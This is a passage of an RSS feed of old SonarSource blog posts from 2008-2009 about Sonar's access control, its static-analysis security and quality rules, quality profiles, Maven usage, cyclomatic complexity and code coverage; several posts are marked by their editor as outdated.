code quality radiator accessible by everyone at anytime. Like for JIRA, Hudson, a post-it dashboard or any other piece of the development toolset transparency is a key success factor for adoption. So, by default in Sonar, anyone can access any project under continuous inspection and navigate through it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But of course, there are situations where securing Sonar is necessary. Let&amp;#x27;s imagine for 2 minutes a consulting company that does development for customers and wishes to allow those customers to follow their own projects in Sonar. Since the company has many customers, it is necessary that group of projects can be isolated to make sure each customer only has access to his own projects. Prior to Sonar 1.12, this was only possible by having one instance of Sonar per customer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since Sonar 1.12 there are services available in the web interface to handle this and to cover the following use cases :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Secure a Sonar instance by forcing login prior to access to any page&lt;/li&gt;&lt;li&gt;Make a given project non accessible to anonymous&lt;/li&gt;&lt;li&gt;Allow access to source code (Code Viewer) to a given set of people&lt;/li&gt;&lt;li&gt;Restrict access to a project to a given group of people&lt;/li&gt;&lt;li&gt;Define who can administer a project (setting exclusion patterns, tunning plugins configuration for that project, ...)&lt;/li&gt;&lt;li&gt;Define who can administer a Sonar instance&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All those use cases can be implemented through the Sonar web interface and will take effect immediately. The way security is handled in Sonar is pretty classic as the security policy is based on the following three concepts : user, group and role (global or by project). Let&amp;#x27;s take the example of the &amp;quot;Project roles&amp;quot; page available at project level:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;(sonar-project-roles)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Three roles are available at project level : Administrator, User and Code Viewer. Users and/or a groups of users can be associated to each of those roles to get the required permissions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;User and group can be first created through the &amp;quot;Users&amp;quot; and &amp;quot;Groups&amp;quot; services available in the administration configuration section. Here is the screenshot of the &amp;quot;Groups&amp;quot; service :&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;(Sonar-groups)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That was authorization, let&amp;#x27;s now talk about authentication. By default, user authentication is done against the Sonar DB (user table) but an external authentication engine can also used : OpenLDAP, Microsoft Active Directory, Apache DS, Atlassian Crowd ... Three identity plugins already exist : two open source &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/LDAP+Plugin&quot;&gt;LDAP Plugin&lt;/a&gt;, &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Crowd+Plugin&quot;&gt;Crowd plugin&lt;/a&gt; and a commercial one &lt;a href=&quot;http://www.sonarsource.com/plugins/plugin-identity/&quot;&gt;Identity Plugin&lt;/a&gt;. They all use the public Sonar authentication extension point.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To conclude, it is possible since Sonar 1.12 to easily implement a robust enterprise security policy. Those new functionality have been done with no impact whatsoever on Sonar users who do not want to activate security and want to keep full transparency.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar to identify security vulnerabilities]]></title><description><![CDATA[During the last few months, Sonar has definitely become the leading Open Source Platform to manage Java code quality. The objective to democratize access to code quality is becoming concrete. However when analyzing source code, quality is only one aspect of things... ]]></description><link>https://www.sonarsource.com/blog/sonar-to-identify-security-vulnerabilities</link><guid isPermaLink="false">67624331-5f3d-5c4c-8ea7-98082ef391f3</guid><dc:creator><![CDATA[Freddy Mallet]]></dc:creator><pubDate>Thu, 24 Sep 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;&lt;strong&gt;Editor&amp;#x27;s Note:&lt;/strong&gt; This post now contains outdated information. &lt;a href=&quot;https://www.sonarqube.org/sonarqube-7-2/&quot;&gt;Detection of security vulnerabilities&lt;/a&gt; is available since SonarQube 7.2. Find more information &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;on SonarQube here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During the last few months, Sonar has definitely become the leading Open Source Platform to manage Java code quality. The objective to democratize access to code quality is becoming concrete. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However when analyzing source code, quality is only one aspect of things. The ultimate platform should be able to handle Quality, Security and Architecture. Sonar 2.0 will take care of Architecture with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Design_Structure_Matrix&quot;&gt;DSM&lt;/a&gt; and several valuable Object Oriented metrics.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What is the plan to handle Security ? Technically speaking, there is no difference between a quality rule and a security rule. They both consist in writing a piece of code that analyzes an &lt;a href=&quot;http://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;Abstract Syntax Tree (AST)&lt;/a&gt; or the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bytecode&quot;&gt;bytecode&lt;/a&gt; depending on what needs to be done.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar already embarks a bunch of security rules that detect security vulnerabilities. What is really missing today in Sonar is the possibility to group rules by security categories. This will be implemented at some point in time with tags associated to each rule. For now and for people concerned by Security, there are two solutions to detect security breaks. First is to use the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Security+Rules+Plugin&quot;&gt;Security Rules Plugin&lt;/a&gt; that highlights files with such breaks. The second one is to look directly at available security rules :&lt;/p&gt;&lt;h2&gt;SQL Injection Vulnerability&lt;/h2&gt;&lt;p&gt;Read this very &lt;a href=&quot;http://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java&quot;&gt;well-written page on the OWASP web site&lt;/a&gt;, to quickly understand why you should activate the two following Findbugs rules :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Nonconstant string passed to execute method on an SQL statement&lt;/li&gt;&lt;li&gt;A prepared statement is generated from a nonconstant String&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Password Management Vulnerability&lt;/h2&gt;&lt;p&gt;Those two other Findbugs rules will create respect for the person who someday invented the word &amp;quot;password&amp;quot;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Hardcoded constant database password&lt;/li&gt;&lt;li&gt;Empty database password&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Error Handling and Logging flaws&lt;/h2&gt;&lt;p&gt;When there is an airplane crash, the black box is the only way to perfectly understand what happened to be able fix the root cause. A software has its own black box, and the following PMD rules will make it effective :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Preserve Stack Trace.&lt;/li&gt;&lt;li&gt;Avoid Catching Throwable&lt;/li&gt;&lt;li&gt;Exception As Flow Control&lt;/li&gt;&lt;li&gt;Avoid Throwing Null Pointer Exception&lt;/li&gt;&lt;li&gt;Avoid Print Stack Trace&lt;/li&gt;&lt;li&gt;Avoid Using System Println&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Insecure direct object reference&lt;/h2&gt;&lt;p&gt;Do you feel confident to give the keys of your car to somebody you don&amp;#x27;t know ? To avoid this, here are the Findbugs/PMD rules that should get activated :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;May expose internal representation by returning reference to mutable object&lt;/li&gt;&lt;li&gt;May expose internal representation by incorporating reference to mutable object&lt;/li&gt;&lt;li&gt;May expose internal static state by storing a mutable object into a static field&lt;/li&gt;&lt;li&gt;Public static method may expose internal representation by returning array&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;And some more...&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Do Not Call System Exit&lt;/li&gt;&lt;li&gt;Servlet reflected cross site scripting vulnerability&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Those available rules are a good start to identify security vulnerabilities. If you want to increase the set of existing rule to help Sonar grow on the subject, please create &lt;a href=&quot;http://jira.codehaus.org/browse/SONAR&quot;&gt;Jira tickets&lt;/a&gt; on the &amp;quot;Security rule&amp;quot; component to request for new rules.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[We had a dream : mvn sonar:sonar]]></title><description><![CDATA[About a year ago we started to dream about the possibility to launch a full quality analysis on any Maven projects, with no configuration by simply running a simple and easy to remember command. Last week, when the Sonar maven plugin joined the Codehaus Mojo project, this dream became reality from Sonar 1.8 onwards. 

Joining this project presents several advantages to Sonar but the main one is definitely the step toward simplicity. Indeed, the old way to launch a quality analysis was to execute the maven command "mvn org.codehaus.sonar:sonar-maven-goal:X.Y:sonar",  it now becomes "mvn sonar:sonar". No need to carry anymore the Sonar web server version, the Sonar Maven plugin groupId, artifactId, ... simply launch "mvn sonar:sonar" !]]></description><link>https://www.sonarsource.com/blog/we-had-a-dream-mvn-sonarsonar</link><guid isPermaLink="false">94aa2457-6cbd-56dc-a719-06dcbff7caf5</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Thu, 30 Apr 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We had a dream : mvn sonar:sonar&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Reuse in Sonar unit test reports generated by other systems]]></title><description><![CDATA[Reuse in Sonar unit test reports generated by other systems]]></description><link>https://www.sonarsource.com/blog/reuse-in-sonar-unit-test-reports-generated-by-other-systems</link><guid isPermaLink="false">bc2afcbf-f880-5d4c-be67-beed80813419</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Thu, 09 Apr 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For many, it is getting very tempting to switch to Sonar to centralize the quality management of source code and take advantage of the numerous functionality such as TimeMachine, Classes clouds, Consolidated dashboards, Drill downs... In Sonar 1.7, we have added a very useful feature that we did not discuss too much so far : the possibility to re-use reports generated by external quality systems in order to smoothly evaluate Sonar without having to break the legacy quality platform. Today, were going to discuss two use cases where this feature can be leveraged.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Switching from Maven Site to Sonar&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a very common situation : you are already managing the quality of your source code through the Maven Site by generating sites on 250 projects, for instance, with every quality reports activated. Your team uses the maven site extensively and switching to Sonar in a big bang approach is simply not possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You have read the post &amp;quot;&lt;a href=&quot;http://sonar.codehaus.org/maven-site-sonar-or-both-of-them/&quot;&gt;Maven Site, Sonar or both of them ?&lt;/a&gt;&amp;quot; on the Sonar blog but you don&amp;#x27;t feel right to suddenly ask everybody to switch to Sonar. You realize that you need to run them both in parallel for some time. But given the fact that it takes already a long time to generate the sites, it is not possible to double this time by doing the analysis in Sonar as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That is where the &amp;quot;ReuseReport&amp;quot; functionality of Sonar 1.7 comes into play, it is now possible to have a staged approach ! The principle is fairly simple, it consists of indicating to Sonar that it should use reports that have already been generated by the Maven site, the ones that are the most hungry in CPU and memory : unit tests execution and/or code coverage calculation. This can be achieved by simply adding &amp;quot;-Dsonar.dynamic=reuseReports&amp;quot; to the Sonar maven command line.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is then possible to keep both systems running in parallel for some time at a slightly higher cost until you decide to make a complete switch to Sonar. When you have switched off the quality reporting in the Maven site, you can even reference Sonar in the Maven site by using the &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Sonar+Maven+report&quot;&gt;Sonar Maven report plugin&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Using Sonar in its full capability in an ANT environment&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using ANT to build your applications, the main weakness so far in Sonar was that it did not allow to display Unit tests results nor Code coverage. I am sure that now you have read the first use case, you know that by using the &amp;quot;-Dsonar.dynamic= reuseReports&amp;quot; parameter, this limitation does not exist anymore. You simply need to specify where those reports to reuse are going to be found, by using the following properties : sonar.cobertura.reportPath, sonar.clover.reportPath, sonar.surefire.reportsPath...&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this new functionality, Sonar gives a similar level of quality information on ANT projects that there is on Maven projects.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using quality profiles in Sonar]]></title><description><![CDATA[Last month, Sonar 1.6 was released. The main feature of the new version is the ability to manage quality profiles. The purpose of this post is to explain what gap the functionality fills, to define what is a quality profile and to explain how to use it.

Prior to Sonar 1.6, it was only possible to run analysis with one set of defined coding rules per instance of Sonar. It means that within an instance of Sonar, it was not possible to process differently various types of projects (legacy application, technical libraries, new projects, ...). They were all analyzed with the same set of rules. Therefore there was sometimes unnecessary noise around the quality data that made it difficult to see quickly what real action was required. Sonar 1.6 turns off this noise by allowing to define and simultaneously use several quality profiles.]]></description><link>https://www.sonarsource.com/blog/using-quality-profiles-in-sonar</link><guid isPermaLink="false">56c55ed1-ff67-59cf-b461-6d575d6b38df</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Thu, 05 Mar 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: This post now contains outdated information. Read the documentation on the &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/quality-profiles/&quot;&gt;quality profiles&lt;/a&gt; instead.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Last month, &lt;a href=&quot;http://sonar.codehaus.org/sonar-16-in-screenshots/&quot;&gt;Sonar 1.6&lt;/a&gt; was released. The main feature of the new version is the ability to manage quality profiles. The purpose of this post is to explain what gap the functionality fills, to define what is a quality profile and to explain how to use it.&lt;br/&gt;&lt;br/&gt;Prior to Sonar 1.6, it was only possible to run analysis with one set of defined coding rules per instance of Sonar. It means that within an instance of Sonar, it was not possible to process differently various types of projects (legacy application, technical libraries, new projects, ...). They were all analyzed with the same set of rules. Therefore there was sometimes unnecessary noise around the quality data that made it difficult to see quickly what real action was required. Sonar 1.6 turns off this noise by allowing to define and simultaneously use several quality profiles.&lt;/p&gt;&lt;p&gt;A quality profile in Sonar consists of :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A set of activated coding rule among +600 available (PMD, Checkstyle and FindBugs) : an activation level (mandatory or optional) and parametrization for each rule&lt;/li&gt;&lt;li&gt;The definition of thresholds (warning and error) on critical metrics, to trigger automatic alerts&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once a quality profile is defined, projects can be associated to the so-defined profile.&lt;br/&gt;&lt;br/&gt;Let&amp;#x27;s now describe how to use quality profiles in Sonar. To manage quality profiles, you need to first sign in and click on the configuration option at the top right of the screen. From there, any action linked to profile management can be performed :&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f74b3a1e-dbe5-4f92-a0e9-ce1b3a3c3fe1/body-18e8adebae7bf89f60b51fd39c7b01cc890fbfb3_quality_profiles.png&quot; /&gt;&lt;h2&gt;Create a quality profile&lt;/h2&gt;&lt;p&gt;This can be done by copying an existing profile : click on the copy button next to the profile to copy. You are prompted to give the name of the new profile. The newly created profile is the exact copy of the copied one. You can then make changes to the new profile.&lt;br/&gt;&lt;br/&gt;The second solution is to create a profile from scratch by clicking on the create profile button.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/99f1730e-90f9-4d46-aaee-cfd700da486a/body-9ee0606fcd3411cf5a6d42fdaaca9eea503a5b3b_create_new_profile.png&quot; /&gt;&lt;p&gt;Enter the name of the profile. You then have the possibility to upload your existing Checkstyle and PMD configuration files (the FindBugs configuration cannot be uploaded at this point in time in Sonar). Click on create to complete the process.&lt;/p&gt;&lt;h2&gt;Associate a profile to a project&lt;/h2&gt;&lt;p&gt;To manage the association project / profile, click on the number of projects defined for the profile in the main management screen.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/38a48157-acff-47f2-ac14-685953917767/body-3444d90e828901e7f6ae29c70640bf8f9b64d4e7_project_profiles.png&quot; /&gt;&lt;p&gt;Association is made by moving projects around. A project can be associated to one profile at the time. When a project is not explicitly associated to a quality profile, Sonar will use the default quality profile to perform the next analysis.&lt;br/&gt;&lt;br/&gt;Association can be made as well at analysis time. This can be useful to force a profile during the very first analysis. Indeed until the project has been analyzed once, it is not possible to make the association through the web interface:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mvn ... -Dsonar.profile=&quot;Your profile name&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;By combining this to the sonar.branch parameter, you get a new advanced functionality : analyzing the same project within two different quality profiles :&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mvn ... -Dsonar.profile=&quot;Your profile name&quot; -Dbranch=YOUR BRANCH&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For a complete description of how to &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Manage+quality+profiles&quot;&gt;manage quality profile&lt;/a&gt;, you can refer to &lt;a href=&quot;http://docs.codehaus.org/display/SONAR/Documentation&quot;&gt;Sonar documentation&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What makes Checkstyle, PMD, Findbugs and Macker complementary ?]]></title><description><![CDATA[There is often some misunderstanding when people talk about coding rules engines. Everyone tries to take position in favor of his preferred tool and does his best to explain what are the weaknesses of the other ones.]]></description><link>https://www.sonarsource.com/blog/what-makes-checkstyle-pmd-findbugs-and-macker-complementary</link><guid isPermaLink="false">09e5169b-e3b3-5c95-87b9-891c3a9077d7</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Thu, 19 Feb 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Editor&amp;#x27;s Note: This is an outdated blog post. Regardless, we&amp;#x27;re glad you&amp;#x27;ve found Sonar!  You can find more information &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;on SonarQube here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is often some misunderstanding when people talk about coding rules engines. Everyone tries to take position in favor of his preferred tool and does his best to explain what are the weaknesses of the other ones. For instance, a PMD supporter could say : &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;&lt;a href=&quot;http://checkstyle.sourceforge.net/&quot;&gt;Checkstyle&lt;/a&gt; is a stupid tool consuming time to search for tab characters when &lt;a href=&quot;http://pmd.sourceforge.net/&quot;&gt;PMD&lt;/a&gt; is a smart one that can do the job alone as a good soldier, &lt;a href=&quot;http://findbugs.sourceforge.net/&quot;&gt;Findbugs&lt;/a&gt; is very good for resource consumption and &lt;a href=&quot;http://www.innig.net/macker/&quot;&gt;Macker&lt;/a&gt; is ... uh, what is Macker ? &amp;quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Time to breathe ! There is in fact no need to take such position since those tools are not competing but are complementary and should be used simultaneously as it is the case in Sonar. Each of them is mainly targeting a certain type of coding rules : &lt;strong&gt;conventions&lt;/strong&gt; (Checkstyle), &lt;strong&gt;bad practices&lt;/strong&gt; (PMD) and &lt;strong&gt;potential bugs&lt;/strong&gt; (FindBugs).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;convention&lt;/strong&gt; type covers naming, comments and format conventions. Here are a few examples :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Is there javadoc on public methods ?&lt;/li&gt;&lt;li&gt;Is the project following Sun naming conventions ?&lt;/li&gt;&lt;li&gt;Is the code written with a consistent format ?&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The convention type has often the reputation of being fairly useless as the rules are very simple. How to explain then that most open source projects provide a checkstyle file in their development guide, when the same projects generally throw out anything useless ? It is true to say that the convention rules do not have impact on stability, performance or reliability of an application. However, the convention type is the glue that enables people to work together and to free up their creativity instead of spending time and energy at understanding inconsistent code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;bad practices&lt;/strong&gt; type consists of well known behaviors that almost systematically lead to difficulties over time. Here are a few examples of bad practices :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Catching an exception without doing anything&lt;/li&gt;&lt;li&gt;Having dead code&lt;/li&gt;&lt;li&gt;Too many complex methods&lt;/li&gt;&lt;li&gt;Direct use of implementations instead of interfaces&lt;/li&gt;&lt;li&gt;Implementing the hashcode() method without the not equals(Object object) method&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;PMD is a kind of angel that always looks over your shoulder to remind you of bad practices, in the same way that your common sense reminds you to iterate with your customer when developing a complete functionality and to answer questions from your coworkers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;potential bugs&lt;/strong&gt; type helps you detect what is not clearly visible in the code and understand why sequences of code could lead to potential bugs. Here are a few examples of potential bugs :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Synchronization on Boolean could lead to deadlock&lt;/li&gt;&lt;li&gt;May expose internal representation by returning reference to mutable object&lt;/li&gt;&lt;li&gt;Method uses the same code for two branches&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Bugs are like human relations, it is not always easy to understand the problem as there are many parameters to take into account. Can be a good idea to sometimes to see an analyst to help resolve them :-). Findbugs is a kind of analyst for your source code !&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What&amp;#x27;s about &lt;a href=&quot;http://www.innig.net/macker/&quot;&gt;Macker&lt;/a&gt; ? Whereas Checkstyle, PMD and Findbugs focus their attention on analyzing sources and applying rules, Macker takes a big step back to identity architectural issues. Here are few examples of architectural rules :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Classes in the UI layer may not directly access the data object layer, or use classes in java.sql&lt;/li&gt;&lt;li&gt;External systems may not access internal implementation classes (suffixed with &amp;#x27;Impl&amp;#x27;)&lt;/li&gt;&lt;li&gt;One functional module may access another only through its API&lt;/li&gt;&lt;li&gt;Only classes implementing interfaces in javax.ejb, and certain framework packages, may use the EJB APIs&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Macker looks at your application in the same way a man on the moon looks at earth : hey guys, what is happening ? Pacific ocean is too close to European continent ! Once you have a clear idea of what your architecture should look like, you can easily model it with Macker to keep your architecture consistent over time. With Macker you can define architectural conventions and identify architectural bad practices. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Macker is not yet available in Sonar but you now have an idea on where we are going !&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Discussing Cyclomatic Complexity]]></title><description><![CDATA[Googling on Cyclomatic Complexity (CC), gives some interesting results... Among those results, you'll find the two following definitions :]]></description><link>https://www.sonarsource.com/blog/discussing-cyclomatic-complexity</link><guid isPermaLink="false">1a4b4f5c-5545-5b16-bdfd-54e2ebdde138</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Wed, 17 Dec 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Googling on Cyclomatic Complexity (CC), gives some interesting results... Among those results, you&amp;#x27;ll find the two following definitions :&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A measure of the complexity of a software module, equal to e - n + 2, where e is the number of edges in the control flow graph and n is the number of nodes in this graph (that is, the cyclomatic number of the graph plus one)&lt;/li&gt;&lt;li&gt;A measurement of the intricacy of a program module based on the number of repetitive cycles or loops that are made in the program logic. It is used as a general measure of complexity for software quality control as well as to determine the number of testing procedures&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Those two definitions, though perfectly true, are one of the reason for Sonar to exist: going away from the fact that code source quality is a notion only accessible to elite. Sonar is about democratization of the source code quality concepts to be understandable and usable by every stakeholder in a development project.&lt;/p&gt;&lt;p&gt;Having said that, what is it that CC is trying to represent? This is roughly the number of different paths in your source code and there are two ways in java to begin a new path : &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Calling a method (CC + 1)&lt;/li&gt;&lt;li&gt;Encountering the following keywords : if, while, repeat, for, &amp;amp;&amp;amp;, ||, catch, case, etc ... (CC + 1)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The good news is that calculating the cyclomatic complexity is a human accessible operation. Moreover, according to the previous definition it&amp;#x27;s easy to understand that the more paths you have in your application, the more complex your application will be.&lt;br/&gt;&lt;br/&gt;But does that mean a program with a high cyclomatic complexity has a poor quality ? For sure not ! Otherwise all developers would prevent themselves from doing anything beyond a simple &amp;quot;HelloWorld&amp;quot; program whose cyclomatic complexity is 1 and would quickly lose their jobs :-) &lt;br/&gt;&lt;br/&gt;Having a high total cyclomatic complexity on a program just means that a lot of logic has been implemented in the program but you cannot deduce any quality information from there. When zooming on classes or methods, that&amp;#x27;s another story. &lt;br/&gt;&lt;br/&gt;Is it better to have a method with a CC of 30, or three methods with a CC of 10 each ? If you have been in charge of source code maintenance for an application written by somebody else, you know the answer : when having three methods with a CC of 10 each, the chance is higher that the program is more maintainable, with a better separation of logic. As a consequence, you also decrease the risk to inject a bug. &lt;strong&gt;The CC value by method can be used to evaluate the quality of the source code&lt;/strong&gt;.&lt;br/&gt;&lt;br/&gt;At the class level, you can follow the same logic : high CC by class could be the witness of bad levels of decoupling, encapsulation and cohesion. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;In fact, what matters in a program is not its total cyclomatic complexity but the fact that each of its methods / classes has a suitable low level of CC&lt;/strong&gt;. &lt;br/&gt;&lt;br/&gt;We&amp;#x27;ll discuss in an other post how valuable Sonar can be to help identify those non suitable parts of source code.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Is 80% of code coverage any good ?]]></title><description><![CDATA[When talking about source code quality, there are always voices to tell you that metrics mean nothing and that plenty of projects have great metrics and poor quality! Let's look at one particular metric: the code coverage by unit tests.]]></description><link>https://www.sonarsource.com/blog/is-80-of-code-coverage-any-good</link><guid isPermaLink="false">eb2f4259-6e36-5eaa-a22e-18a91630784d</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Wed, 29 Oct 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When talking about source code quality, there are always voices to tell you that metrics mean nothing and that plenty of projects have great metrics and poor quality ! Let&amp;#x27;s look at one particular metric: the code coverage by unit tests.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Evaluating the code coverage of an application means measuring the quantity of code that isexecuted and so automatically tested by your unit tests. So if you get 80% of code coverage on your application, it&amp;#x27;s really a good news as you can refactor and maintain your code securely. It&amp;#x27;s like driving a car with a fasten seat belt.  Ok, but imagine, even if it&amp;#x27;s a bit ridiculous for agile guys, that 80% of the code of a fairly big application is covered by less than 10 unit tests. Believe me, I&amp;#x27;ve already encountered this situation in real life with a batch application (8&amp;#x27;000 lines of code) in charge of manipulating text files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;It raises two remarks :&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Is that good to have 80% of the code covered by unit tests ? Definitely ! If you&amp;#x27;ve already maintained an application you haven&amp;#x27;t written from start, you do certainly agree that it&amp;#x27;s far better to have 10 unit tests covering 80% of code than nothing.&lt;/li&gt;&lt;li&gt;Ok, but when your seat belt is fasten does that mean you&amp;#x27;re driving well ? Unhappily not, it&amp;#x27;s only mean your seat belt is fasten.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;So, what is it possible to conclude from the code coverage metric?&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;In fact let&amp;#x27;s start first by what you cannot conclude : having a high percentage of code coverage does not mean (without extra information that I will not discuss here) that you are doing good Test Driven Development (TDD).&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Instead of looking at the code coverage, you must look at the non-code coverage and then you can conclude something : you know that at least XX% of your code is not covered by unit tests and that you need to do something about it. &lt;strong&gt;You&amp;#x27;ve clearly identified a risk&lt;/strong&gt; !&lt;/p&gt;</content:encoded></item></channel></rss>